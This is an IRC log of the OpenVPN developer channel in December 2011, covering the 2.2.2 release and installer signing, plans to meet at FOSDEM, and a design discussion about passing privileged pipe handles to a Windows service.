ecrist> w00t 11:06 <@mattock> dazo: there? 11:07 <@mattock> do you have some tarballs for me? 11:07 <@mattock> I'm just about to create and test the Windows installer 11:12 <@raidz> I added you on xblive ecrist 11:12 <@raidz> I was on, but went on much later 11:13 <@raidz> I had to watch new sons of guns episode 11:13 < ecrist> heh, that's what the wife and I did, too 11:13 < ecrist> I used to think Stephanie was hot, now I think she's a bit pretentious 11:14 <@raidz> SAME! 11:14 <@raidz> like if I had a bunch of drinks, I would probably go for it 11:14 <@raidz> but sober, no way 11:15 <@raidz> I follow her on FB too and she is such an idiot 11:15 < ecrist> I'd tap that just to get at some of the guns, though. 11:15 <@raidz> hahaha 11:15 <@raidz> I just ranked up to 38 in MW3 so I got my p90 11:15 <@raidz> I'm at second presitge 11:15 <@raidz> the green one 11:17 < ecrist> I'm half-way through first prestige 11:17 < ecrist> like, not even prestige 11:17 <@raidz> ohh 11:18 <@raidz> yeah the first thing is like 0 11:18 <@raidz> then the red thing which is 1st 11:18 <@raidz> I know some pople that already have 10th 11:18 <@raidz> they don't work 11:18 <@raidz> they sit around all day playing that game 11:18 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has quit [Quit: Leaving.] 11:19 < ecrist> my comments yesterdya 11:23 <@mattock> I've never created the dist zip/xz/gzip packages... is "autoreconf -vi && ./configure && make dist-whatever" the 11:23 <@mattock> correct procedure? 11:24 <@mattock> seems to work at least 11:27 <@mattock> ah, found dazo's packages 11:47 <@mattock> 2.2.2 packages here: http://build.openvpn.net/downloads/releases/openvpn-2.2.2/ 11:47 <@vpnHelper> Title: Index of /downloads/releases/openvpn-2.2.2 (at build.openvpn.net) 11:48 <@mattock> windows installer still untested 11:48 <@mattock> generating 2.2.2 packages now... 11:59 <@mattock> done 12:36 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has joined #openvpn-devel 13:09 <@mattock> windows installer seems to work ok, with signed gui and all 13:13 <+krzie> shit gui needs signing too now? 13:50 <@mattock> nope 13:50 <@mattock> but the gui in 2.1.4 was signed 13:50 <@mattock> by openvpn solutions llc 13:51 <@mattock> had to google a bit, but it seems it's us :) 14:35 <@mattock> all 2.2.2 tickets closed 14:35 < ecrist> "wontfix" 14:54 <@mattock> hmm, which one? 14:55 <@mattock> none, fortunately :D 14:55 <@mattock> fooled me for a while 14:56 <+krzie> [11:51] <mattock> had to google a bit, but it seems it's us :) 14:56 <+krzie> LOL 14:57 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:16 <@mattock> krzie: yeah :D 15:16 <@mattock> it seems we've had at least 3 names so far 16:18 -!- novaflash is now known as novaflash_away 16:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:40 -!- dazo is now known as dazo_afk 19:34 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has quit [Quit: Leaving.] 19:35 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has joined #openvpn-devel 20:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Dec 16 2011 01:53 -!- novaflash_away is now known as novaflash 02:12 -!- dazo_afk is now known as dazo 03:26 <@cron2> did we release 2.2.2 yesterday? 03:44 <@mattock> nope 03:44 <@mattock> still waiting for signatures 03:44 <@mattock> otherwise all is set (except for announcements and updating the website) 04:00 <@cron2> cool 04:37 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has quit [Read error: Connection reset by peer] 04:57 <@dazo> mattock: I saw you tried to reach me yesterday ... but you found the files I had uploaded under /tmp? 04:57 <@mattock> dazo: I found the release files from build under release/openvpn-2.2.2 04:57 <@mattock> I assume those were generated by you? 04:58 <@dazo> nope 04:58 <@mattock> hmm 04:58 <@dazo> I put them under /tmp/openvpn-2.2.2 on the build box 04:58 <@dazo> (they should have had my username on them) 04:58 <@mattock> actually they were owned by dazo:Dazo 04:58 <@mattock> oops 04:58 <@dazo> and I also provided some "temporary" signatures 04:58 <@mattock> you get the idea :) 04:59 <@dazo> oops? 04:59 <@mattock> I'm wondering how they ended up under /var/www/... 04:59 <@mattock> I don't recall moving them there 04:59 <@mattock> I can verify the signatures, though 05:01 <@dazo> okay, I verified all signatures on the source balls ... looks good to me 05:02 <@dazo> maybe you started to move them around and forgot about it :) 05:03 * dazo is now very happy he did sign those sources :) 05:05 <@mattock> hmm... could be... or maybe you did :P 05:05 <@mattock> in any case, with correct signatures and all they should be safe 05:06 <@dazo> nope ... I poked quickly around to find a good place to dump them ... and didn't spot anything clever during 1 minute, so I decided for /tmp :) 05:06 <@mattock> ok 05:06 <@dazo> I also compared the files against what I have locally ... 100% match on all tar/zip files + signatures 05:06 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 05:07 <@mattock> it looks like I can push 2.2.2 debian packages to our new dedicated repository server 05:07 <@dazo> cool! 05:07 <@mattock> it'll host 2.3 snapshots too 05:07 <@mattock> I automated the Debian packaging process almost 100%, so providing, say, weekly snapshots will be trivial 05:08 <@mattock> -> lunch 05:08 <@mattock> and yum/rpm stuff is ready, too 05:08 <@dazo> wonderful!!! was just about to ask about that :) 05:24 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 06:01 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 06:04 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 06:19 <@vpnHelper> RSS Update - tickets: #185: OpenVPN did not detect windows system path WINDIR SYSTEMROOT SYSTEMDRIVE <https://community.openvpn.net/openvpn/ticket/185> 06:19 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 06:24 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 06:24 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 06:35 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 07:17 <@mattock> ok, here are instructions for using the new apt repos on repos.openvpn.net: 07:17 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenvpnAptRepos#Usingrepos.openvpn.net 07:17 <@vpnHelper> Title: OpenvpnAptRepos – OpenVPN Community (at community.openvpn.net) 07:17 <@mattock> the server seemed a bit slow on network I/O atm 07:18 <@dazo> nice! 07:24 <+krzee> very cool! 08:00 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 08:10 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 08:30 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has joined #openvpn-devel 10:37 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 240 seconds] 10:49 -!- dazo is now known as dazo_afk 10:54 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 12:00 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 12:01 <@cron2> heh 12:01 <@cron2> I didn't actually see any of his flooding... :-) 12:09 <@raidz> ecrist: I missed you again last night on xblive 12:09 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 12:11 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 12:12 < ecrist> raidz: I was getting my freak on at karaoke 12:12 < ecrist> then I got a call out that was cancelled but they never paged out the cancel 12:13 <@raidz> lol, bummer! 12:14 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 12:16 <@raidz> Stop flooding EvilJStoker! :-p 12:16 < ecrist> it's a rather evil thing to do 13:21 < ecrist> raidz: did you guys ever get those test accounts created? 13:21 < ecrist> for the vb forum? 13:21 <@raidz> Still waiting on Web dev to do that 13:26 < ecrist> ok 15:02 -!- mordy [~mordy@71-80-218-70.dhcp.crcy.nv.charter.com] has joined #openvpn-devel 16:48 < EvilJStoker> raidz, Hehehe, Certainly not doing it on purpose! Seems my network is just deciding to be extremely unstable right now. :'( 16:49 <@raidz> haha 16:54 < mordy> so i'm trying to play around allowing openvpn to accept a socket fd for a management interface 16:54 < mordy> (we have a requirement to create and manage many openvpn client connections, and it's becoming unwieldy to use named unix sockets) 17:34 < mordy> http://paste.scsys.co.uk/167981 seems to work 17:34 < mordy> haven't tested it extensively, though 17:52 < mordy> i figure it might also be helpful for wrapper applications, so it would provide a cleaner interface 22:42 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] --- Day changed Sat Dec 17 2011 01:09 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:09 -!- mode/#openvpn-devel [+o raidz] by ChanServ 01:31 <@mattock> mordy: sounds good 01:32 <@mattock> once you've tested it a bit more, you could send a patch (preferably in git-format-patch format) to openvpn-devel list 03:03 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 252 seconds] 06:34 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:34 -!- mode/#openvpn-devel [+o cron2] by ChanServ 06:49 <@cron2> so what's the current decision on FOSDEM? Who has booked a flight already? 09:33 < ecrist> aww, I want to go 09:51 <@cron2> then do so :) 10:01 < ecrist> ouch 10:01 < ecrist> $1,000 USD for 3 night hotel + airfare 10:01 < ecrist> actually, closer to $1,100 10:10 < ecrist> heh, most of my guns are illegal in belgium 10:11 < ecrist> well, not illegal, per se, but requires permitting 10:13 < ecrist> neat, they allow the carry of firearms 10:13 < ecrist> I thought all of europe despised private citizens carrying firearms 10:14 < ecrist> http://www.gunpolicy.org/firearms/region/belgium 10:27 < ecrist> ping raidz 10:27 < ecrist> is 'Narendra' your web dev? 10:27 < ecrist> and did you give your web dev creds for forums? 10:28 < ecrist> I plan on getting the LDAP stuff done over the weekend, and getting the forums organized 10:28 < ecrist> in between killing n00bs on MW3 15:05 <@mattock> cron2: I'm coming, everything ready 15:07 <@mattock> Tue-Sun 15:10 <@cron2> cool 15:10 * cron2 books now (Fri-Sun) 15:24 <@cron2> done 15:34 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:34 -!- mode/#openvpn-devel [+v krzie] by ChanServ 23:51 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Sun Dec 18 2011 02:20 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 11:15 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has quit [Quit: Leaving.] 13:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:45 -!- MikeJansen [~mike@cpe-067-023-159-090.dhcp.wadsnet.com] has joined #openvpn-devel 19:51 <@vpnHelper> RSS Update - tickets: #186: Bug in key generation script <https://community.openvpn.net/openvpn/ticket/186> 22:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Dec 19 2011 01:40 -!- dazo_afk is now known as dazo 02:54 <@cron2> dazo: mattock and I have booked brussels 02:54 <@dazo> cron2: working on it 02:55 * dazo tries to get this arranged partly via work as well ... and things takes time ... but I must book now, or else the prices flies to the sky 02:55 <@cron2> exactly 02:55 <@cron2> my flight already went up from 150 EUR to 212 (which is still ok) 02:56 <@dazo> yeah, but I see hotels also increases now too ... trying to stay as close to "Ixelles Elsene", close to where the conference is 02:58 <@mattock> dazo: maybe you could book the flights now and if your employer is willing to participate, you could get a refund later? 02:58 <@dazo> mattock: that's my plan now :) 02:58 <@mattock> ok, good :) 02:58 <@dazo> where do you guys take your hotels? 02:58 <@mattock> I got something in the city center 02:59 * cron2 plans to stay at a friend's house 02:59 <@mattock> actually, we booked the flights and hotel from ebookers 03:00 <@mattock> it was cheaper than buying them separately 03:00 <@dazo> yeah 03:00 <@mattock> 450€ total I think (for Tue-Sun) 03:01 <@mattock> "Centrale Hotel Brussels" 03:01 <@mattock> seemed ok 03:02 * dazo checks it out :) 04:49 <@mattock> ok, now we have first 2.3 preview snapshot builds in repos.openvpn.net repos 04:49 <@mattock> sent mail about that to -devel 04:49 <@mattock> -> lunch 04:54 <@dazo> mattock: ended up with Hotel Centrale as well ... thursday to monday 04:55 * cron2 only does fri-sun, otherwise $wife will run amock 05:05 <@mattock> dazo: nice! 05:06 <@mattock> I'm curious about the "Free WLAN (for extra charge)", though :D 05:07 <@mattock> cron2: does $wife think you're just gonna drink beer with other nerds all the time? :P 05:07 <@d12fk> will james come? 05:08 <@cron2> mattock: $wife doesn't want to be left at home with the child for longer times 05:09 <@mattock> d12fk: haven't heard of him 05:09 <@mattock> I asked him 05:10 <@d12fk> will there be an official announcment of the gettogether 05:10 <@d12fk> maybe other guys would like to prticipate 05:11 <@cron2> sounds useful 05:11 * cron2 puts that on mattock's TODO list *duck&run* 05:12 <@d12fk> so, will there be some hacking involved? 05:12 <@d12fk> thinking of the win32 patch queue 05:12 <@d12fk> and the redone service should be at a maturish stage then as well 05:12 <@cron2> I hope that we'll be able to find a somewhat quiet spot with network + tables somewhere and go hacking 05:13 <@cron2> "just go there and meet hairy guys and drink beer" is not *that* useful 05:13 <@d12fk> fosdem alone doesnt sound too exciting for me 05:13 <@cron2> my point exactly 05:14 <@d12fk> cron2: well beer/socializing is important as well i think 05:15 <@d12fk> when is the core meeting time of you guys? 05:15 <@d12fk> sat/sun? 05:15 <@cron2> nothing has been decided yet, but I think "Sat" would be useful, start early... 06:13 <@mattock> cron2: I'll write the gettogether announcement now, so that I don't have to put it on my todo :) 06:14 <@cron2> heh :) 06:34 <@mattock> http://pastebin.com/NHNnk6eT 06:34 <@cron2> +1 06:36 <@mattock> updated: http://pastebin.com/UQLquBKg 06:36 <@mattock> "More detailed information will be publish later" 06:37 <@mattock> ed 06:37 <@mattock> both -users and -devel? 06:37 <@mattock> I think so --- Log closed Mon Dec 19 06:42:53 2011 --- Log opened Mon Dec 19 06:52:45 2011 06:52 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:52 -!- Irssi: #openvpn-devel: Total of 16 nicks [7 ops, 0 halfops, 2 voices, 7 normal] 06:52 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 06:53 <@cron2> mattock: re gettogether -> I think we should have a wiki page to coordinate 06:53 <@mattock> good idea 06:54 <@mattock> hmm, maybe the regression is related to build option... 06:54 <@mattock> s 06:55 < ecrist> I'd really love to go to FOSDEM this year, but can't afford it, and it's not work-related enough to justify 06:55 < ecrist> if there's plans for next year, I'll do my best to make it, though. 06:56 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 06:57 <@cron2> we need to do somewhat more convincing to get OpenVPN tech to sponsor a nice event in the US headquarters... :) 06:57 < ecrist> that's probably more affordable, but I've never been to EU 07:01 <@mattock> mailed James about the regression and also reminded him of the signatures and FOSDEM 07:10 -!- novaflash is now known as novaflash_away 07:22 <@mattock> I'll automate rpm building and publishing now that debs are taken care of 11:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 13:54 -!- dazo is now known as dazo_afk --- Day changed Tue Dec 20 2011 01:09 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 02:42 -!- dazo_afk is now known as dazo 02:59 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 02:59 -!- mode/#openvpn-devel [+v janjust] by ChanServ 02:59 <+janjust> just here for 20 seconds , but I'll be back later 02:59 <+janjust> dazo: can you comment on https://forums.openvpn.net/post18674.html 03:00 <@vpnHelper> Title: OpenVPN Support Forum Server code modification to allow the cipher to be optional : Scripting and Customizations (at forums.openvpn.net) 03:00 * dazo looks 03:01 <+janjust> thx! <terminator voice>I'll be back </terminator voice> 03:01 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Client Quit] 03:18 <@d12fk> what hotel are you staying at fosdem? 03:19 <@d12fk> thinking about the renaissance 03:29 <@dazo> d12fk: mattock and I am at the Hotel Centrale in the city centre 03:29 <@dazo> s/am/are/ (too early in the morning still ........) 03:30 <@d12fk> native speakers tend to mess up grammar =P 03:31 <@dazo> well, I'm not a native speaker even :-P 03:31 <@d12fk> oh well, is it time to meet up or not? 03:31 <@d12fk> thought you were british? 03:31 <@dazo> nope, I'm Norwegian :) 03:32 <@dazo> but I have a very suitable name for being internationally involved in things :-P 03:32 <@d12fk> look mom i found a translator for nynorsk! =) 03:32 <@dazo> hahahahaha 03:33 <@dazo> oh dear, oh dear 03:35 <@d12fk> i wonder how i got the idea of you being from gb... probably the name in combination with workingplace 03:35 <@d12fk> my apologies 03:36 <@dazo> no problem .... I'm quite used to that :) 03:46 <@d12fk> free wifi sound tempting 03:47 <@dazo> yeah :) 05:10 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:10 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:10 <+janjust> dazo: thx for responding 05:10 <@dazo> you're welcome! 05:10 <+janjust> if I can find the time next year I will look into this further 05:11 <+janjust> after I do the tap-win32 debugging thingie and the elliptical curve patch ;) 05:11 <@dazo> that would be great :) 05:11 <@dazo> hehe ... well, it's an open project ... so whomever is willing to look into things, it sure will be appreciated - which ever topic it is :) 05:12 <+janjust> hehe, perhaps we can write up a list @ FOSDE 05:12 <+janjust> +M 05:12 <@dazo> hehe ... I'm not sure we should dare that .... I fear that'll be a very long list :-P 05:13 <+janjust> is mattock taking care of the t shirts for FOSDEM? that's the only reason I'm gonna come for, of course 05:13 <@dazo> But it would be good to get a better overview over who is looking into what ... and what people are interested in/have knowledge about ... 05:13 <@dazo> hehehe ... I hope so :) 05:16 <@dazo> anyhow, mattock and I have booked tickets/hotel ... cron2 have arranged things as well .... and I believe d12fk is getting close as well, probably andj will do the same too (hopefully) ... so with you too, we will be quite some people :) 05:24 <+janjust> ah cool... I'm probably coming for just one day, could be either saturday or sunday 05:25 <+janjust> nice to hear that andj is coming too, I would like to talk to him; it's an interesting company he is working for 05:40 <@dazo> yeah :) 06:57 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 06:58 -!- dazo is now known as dazo_afk 08:43 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:43 -!- mode/#openvpn-devel [+o andj__] by ChanServ 08:50 -!- Netsplit *.net <-> *.split quits: @andj 08:50 -!- andj__ is now known as andj 09:06 -!- dazo_afk is now known as dazo 10:44 <@d12fk> fellow developers 10:45 <@d12fk> how would you feel if openvpn would communicate with the elevated service via stdin/stdout? 10:46 * dazo knows too little about the security issues related to that on Windows to be able to give a qualified answer 10:46 <@dazo> d12fk: isn't the typical approach on Windows to use named pipes for that? 10:46 <@d12fk> it not so much a matter about security, rather style 10:46 <@d12fk> well i want the pipe to be available to just the openvpn process 10:47 <@d12fk> named pipes have a name and can at least tried to be open from anyone 10:47 <@d12fk> ACLs could prevent this, but... 10:47 <@dazo> ahh 10:48 <@d12fk> having a handle inherited is my approach of favor 10:48 <@dazo> I generally don't have any pros and cons about stdio/stdout .... in fact djb prefers that style ... where with the tcp services he wrote for qmail 10:49 <@dazo> In OpenVPN context ... as long as it doesn't break running OpenVPN from a console, I don't see any particular issues with it 10:49 <@d12fk> it's a bit unclean with ovpn though 10:49 <@d12fk> because privileged request could mix with log output 10:49 <@d12fk> if there's no --log ovpn will put it into stdout as well 10:49 <@dazo> yeah, that's the tricky part 10:50 <@d12fk> pric reqs could be prefixed with something fance, butt... (again) =) 10:50 <@d12fk> oh -t, -t!!! 10:50 <@dazo> -t? 10:50 <@dazo> ahh 10:50 <@d12fk> just forget about the line above 10:50 * dazo is slow :) 10:51 <@d12fk> priv reqs could be prefixed with something fancy, but... 10:51 <@d12fk> thats what i ment 10:51 <@dazo> yeah 10:51 <@d12fk> the service would not pass much of stdout to the client anyway 10:52 <@dazo> I'm probably too soaked into the *nix world, so I'm thinking pipes automatically 10:52 <@d12fk> clients should either user --log or mgmt iface 10:52 <@dazo> are we talking about the openvpnserv.exe .... or openvpn.exe now? 10:52 <@d12fk> both 10:53 <@d12fk> the first starting the latter and letting him the pipe handles for stdin/out 10:53 <@dazo> for the openvpnserv.exe ... that's so Windows contaminated as possible ... it's written for and only for Windows, so that you can probably do whatever you want with 10:53 <@d12fk> oer her =) 10:53 <@dazo> for openvpn.exe, that's multi-platform, so here I would be way more careful 10:54 <@d12fk> ovpn itself would have code to write to stdout instead of running route.exe 10:54 <@d12fk> so it's not that isolated 10:55 <@d12fk> any privileged operation would being requested via stdout and waited for a result on stdin 10:55 <@dazo> well, the current management interface is a joke when it comes to security ... the default is without authentication, so any local process can basically hook up to a management enabled process 10:56 <@dazo> (just need to port number) 10:56 <@dazo> so, in that regard, using a unsecured pipe isn't much more insecure - but also neither more secure than the management approach 10:56 <@d12fk> but you cannot set routes via mgmt 10:56 <@dazo> true 10:56 <@d12fk> or delete them 10:57 <@dazo> so your plan is that openvpn tells the openvpn service to modify the routing table? 10:57 <@d12fk> yes 10:57 <@dazo> instead of doing it itself 10:57 <@dazo> .... 10:57 * dazo got it 10:57 <@d12fk> ovpn is running as the user that is running the gui 10:57 <@dazo> clever 10:58 <@d12fk> no priv escalation worries 10:58 <@dazo> exactly 10:58 <@dazo> I like the idea ... how complex is the ACL stuff related to named pipes? 10:58 <@d12fk> besides the defined operation offered though the service 10:58 <@dazo> and how secure can it be made? 10:59 <@dazo> and is a unprivileged process able to set the IP address on the TUN/TAP adapter? 10:59 <@d12fk> well the ACLs do allow on SID basis which boils down to a user in the common case 10:59 <@d12fk> no way to do it on process level 10:59 <@dazo> fair enough, that's the same as Unix pipes, basically 10:59 <@dazo> (for process control, you need to play with SELinux and similar stuff) 11:00 <@d12fk> now a clever user can probably fetch the pipe handle from the openvpn.exe process and duplicate it into his own address space 11:00 <@dazo> and there is no such thing as pipe() in Windows? 11:00 <@d12fk> probably.. 11:00 <@dazo> which would be a pure process-to-process-only pipe? 11:00 <@d12fk> its called CreatePipe 11:01 <@d12fk> and that's what im talking about 11:01 <@dazo> mm 11:01 <@d12fk> not sure if the handles can be stolen from openvpn.exe by the user 11:02 <@d12fk> after all it's running as himself and need to have access to them 11:02 <@dazo> yeah 11:02 <@d12fk> maybe duplicate is a different right i could revoke for the user 11:03 <@d12fk> will have to find out 11:04 <@dazo> I personally probably feel safer using pipes ... but that's my *nix infected mind speaking .... I'm just too worried about breaking openvpn running in consoles on Windows, or that it will cause some odd stuff with openvpnserv.exe reading unexpected data printed to stdout and such things 11:06 <@d12fk> well unexpected data would be ignore 11:07 <@dazo> but if you increase the verbosity level to 5 ... you might get rWRwwwRRRrrRWww added in between proper data which openvpnserv.exe would normally tackle ... as one example 11:08 <@d12fk> really 11:09 <@d12fk> that would forbid use of stdout then 11:09 <@dazo> yeah, really ... at least I've seen it when having logging to stdout 11:09 <@dazo> (well, actually logging to file as well) 11:10 <@d12fk> hm, i'll pass the handles by option then 11:10 <@d12fk> gotta run quickly 11:10 <@dazo> :) 11:10 <@d12fk> nice talking 11:11 <@d12fk> hopefully i can confirm fosdem tomorrow, still awaiting approval 11:12 <@dazo> cool! 13:02 -!- dazo is now known as dazo_afk 14:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:46 <@cron2> handles by option sounds like a good approach 18:08 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 20:41 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:41 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:33 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Dec 21 2011 02:16 -!- dazo_afk is now known as dazo 04:25 <@d12fk> how about "--service-pipe" for the option name to pass the privileged pipe handles to openvpn 04:25 <@d12fk> in analogy to --service 04:30 <@cron2> fine with me 04:50 <@dazo> d12fk: fine with me too 09:53 -!- dazo is now known as dazo_afk 12:01 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:14 <@mattock> we got signed installers now, I'll make the release tomorrow morning 12:14 <@mattock> 2.2.2 that is :D 12:20 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 12:21 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:21 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:32 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 12:34 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:34 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:34 <@cron2> mattock: christmas presents! \o/ 12:34 <@mattock> yep 12:48 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 12:57 < ecrist> :D 20:18 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Day changed Thu Dec 22 2011 05:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:28 <@mattock> time for 2.2.2 release... 05:33 <@cron2> yeeha 06:31 <@d12fk> yay got the clearance for fosdem 06:33 <@d12fk> I'll be arriving Fri. afternoon, anyone want to join me for atomium and general touristy stuff 06:42 <@cron2> I haven't yet arranged details with my local friend in brussels, but in general, I like the idea 06:58 <@mattock> d12fk: atomium? 06:58 <@mattock> btw... james forgot to sign the Windows installer... it shows "Unknown publisher" 06:59 <@mattock> when trying to launch the executable 06:59 <@mattock> release now, fix later 06:59 <@mattock> or should we postpone the release? 06:59 <@mattock> it's mostly cosmetic 06:59 <@mattock> all GPG signatures are fine 07:05 <@cron2> it would be better to have the signed installer right away 07:06 <@cron2> otherwise we have a new binary with the same name and version number, that's not good 07:06 <@cron2> so I'd go for "release source and deb and rpm right away, and windows $ASAP" 07:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 07:33 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:35 <@mattock> cron2: james was in our company chat, he'll sign the installer now 08:04 <@d12fk> mattock: http://en.wikipedia.org/wiki/Atomium 08:04 <@vpnHelper> Title: Atomium - Wikipedia, the free encyclopedia (at en.wikipedia.org) 08:09 <@cron2> mattock: heh, cool 08:09 <@mattock> files placed, I'll publish the new downloads page in ~10 mins 08:14 < ecrist> awesome 08:16 <@cron2> ah 08:16 * cron2 remembers 08:16 <@cron2> mattock: there was an open question on whether openvpn can interoperate with AS 08:17 <@cron2> if it can, it would be useful to setup an AS test server to be able to run t_client.sh tests vs. AS - avoid regressions 08:18 < ecrist> and, if it can't, fix it. ;) 08:19 <@mattock> download page updated 08:19 <@mattock> I'll make the announcements now 08:19 <@mattock> ecrist: the .xz package in the usual place 08:19 <@mattock> cron2: agreed 08:20 < ecrist> mattock: thanks! 08:25 <@mattock> announcements made 08:25 <@mattock> raidz will make the twitter announcement in a few hours I hope 08:32 <@mattock> ok, release done 08:32 <@mattock> if there are any issues, send me an email 08:33 <@mattock> I'll go meet a few friends, but check in once in a while 08:33 <@mattock> ecrist: could you update the channels topics? 08:34 < ecrist> sure 08:37 <@mattock> thanks! 08:41 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 08:43 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:43 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:59 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 09:01 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:01 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 09:41 -!- dazo_afk is now known as dazo 09:53 < waldner> the links to the changelog for 2.2.2 on the download page asks for a user/password 09:53 < waldner> http://openvpn.net/index.php/open-source/downloads.html 09:53 <@vpnHelper> Title: Downloads (at openvpn.net) 09:53 < waldner> and other links too 09:54 < waldner> http://webdev.openvpn.net/index.php/open-source/documentation/howto.html for example 09:54 < waldner> http://webdev.openvpn.net/index.php/open-source/documentation/sig.html 09:54 < waldner> etc. 09:55 < ecrist> waldner: it shouldn't be pointing to webdev. 09:55 < ecrist> raidz: ping 09:55 < waldner> yes, if I remove all the webdev. parts they work 09:55 < ecrist> mattock just needs to be beat 09:57 <@dazo> or raidz ? 09:57 < ecrist> afaik, mattock published the page 09:58 < ecrist> raidz has access, too 09:58 <@dazo> eeek!!! They have changed the date of the ChangeLog on the web page .... then it will be different from the ChangeLog in the sources .... that's nasty! 10:18 < ecrist> LOL 10:18 < ecrist> LOL again 10:20 < ecrist> this guy is awesome 10:22 <@dazo> yeah ... I can't believe what I see .... 10:30 -!- novaflash_away is now known as novaflash 10:33 * dazo considers to join #tor channels to see if #openvpn gets the blame :-P 10:35 <@cron2> dazo: what? 10:35 < ecrist> heh 10:35 